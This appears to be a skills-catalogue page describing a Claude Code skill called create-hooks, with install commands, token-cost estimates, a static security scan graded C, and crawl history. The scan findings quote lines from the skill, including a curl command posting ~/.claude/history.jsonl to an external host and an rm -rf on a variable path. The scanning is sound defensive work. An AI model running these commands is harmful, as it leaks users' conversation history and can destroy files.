Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/ronnycoding/.claude/create-hooksnpx skills add ronnycoding/.claude --skill create-hooksgit clone --depth 1 https://github.com/ronnycoding/.claudeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/ronnycoding/.claude/create-hooks)<a href="https://agentmods.dev/skills/ronnycoding/.claude/create-hooks"><img src="https://agentmods.dev/badge/skills/ronnycoding/.claude/create-hooks.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00058 | $0.05133 |
| Opus 5 | $0.00029 | $0.02567 |
| Sonnet 5 | $0.00012 | $0.01027 |
| Haiku 4.5 | $0.00006 | $0.00513 |
Grade C, and why
create-hooks scanned grade C with 8 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Tells the agent to send conversation or user data outmediumPrompt injection
An instruction to transmit the conversation, context or user files to an external endpoint is data exfiltration written as prose.
# DON'T: Send data to external services without encryption Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
6. **Restrict permissions** on hook scripts (chmod 700) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reads agent configuration directorieslowAgent snooping
.claude/, .codex/, .gemini/ hold keys, settings and other credentials a mod has no legitimate need for.
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
- Execute arbitrary commands Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
rm -rf "$(jq -r '.tool_input.file_path')" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL) The source is not reproduced here
No licence file
A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 821 lines · 58 tokens per session scan C 8e9458ebd540
create-hooks is a skill published in the GitHub repository ronnycoding/.claude (20 stars, last pushed 2mo ago), with no licence file. It adds 58 tokens to every session and 5,133 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 8 findings (tells the agent to send conversation or user data out, sends data to an external url, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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